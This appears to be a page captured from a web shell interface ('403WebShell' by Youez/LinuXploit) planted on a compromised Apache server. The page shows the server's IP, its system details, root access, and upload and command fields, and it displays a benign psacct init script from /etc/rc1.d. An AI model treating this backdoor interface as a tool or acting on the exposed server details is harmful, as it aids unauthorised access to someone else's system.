Warning: chmod(): Operation not permitted in /data/html/improve/wp-content/plugins/wordfence/wordfence.php on line 8
403WebShell
403Webshell
Server IP : 52.9.100.119  /  Your IP : 216.73.216.193
Web Server : Apache/2.4.61 (Amazon) OpenSSL/1.0.2k-fips PHP/7.3.30 Phusion_Passenger/5.1.5
System : Linux ip-172-31-9-35 4.14.355-196.618.amzn1.x86_64 #1 SMP Mon Apr 7 17:09:50 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.3.30
Disable Function : exec,passthru,shell_exec,system,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /etc/rc1.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/rc1.d/K10psacct
#!/bin/bash
#
# psacct	Script to control kernel process accounting
#
# Author:       Mike A. Harris <mharris@redhat.com>
#
# chkconfig: - 90 10
# description:  Starts and stops process accounting
# short-description:  Starts and stops process accounting

### BEGIN INIT INFO
# Required-Start:
# Required-Stop:
# Provides: psacct
# Default-Start:
# Default-Stop: 0 1 2 3 4 5 6
# Description: Starts and stops process accounting
# Short-Description: Starts and stops process accounting
### END INIT INFO

# Source function library.
. /etc/init.d/functions

# The location of the accounting file
ACCTFILE=/var/account/pacct
LOCKFILE=/var/lock/subsys/psacct

start() {
	[ ! -r $ACCTFILE ] && touch $ACCTFILE && chmod 600 $ACCTFILE
	if [ -r $ACCTFILE ]; then 
	    action $"Starting process accounting: " /sbin/accton $ACCTFILE
	    RETVAL=$?
    	    if [ $RETVAL -eq 0 ]; then
		touch $LOCKFILE
	    else 
		exit 7
	    fi
	else 
	    exit 4
	fi
}

stop() {
	
	action $"Shutting down process accounting: " /sbin/accton
	RETVAL=$?
	if [ $RETVAL -eq 0 ]; then
	    rm -f $LOCKFILE
	else
	    exit 1
	fi
}

# See how we were called.
case "$1" in
  start)
	start
	;;
  stop)
	stop
	;;
  status)
	if [ -e $LOCKFILE ]; then
		echo $"Process accounting is enabled."
	else
		echo $"Process accounting is disabled."
		exit 3
	fi
	;;
  restart|reload|force-reload)
	stop
	start
	;;
  *)
	# do not advertise unreasonable commands that there is no reason
	# to use with this device
	echo $"Usage: $0 {start|stop|status|restart|reload|force-reload}"
	exit 2
esac

exit 0


Youez - 2016 - github.com/yon3zu
LinuXploit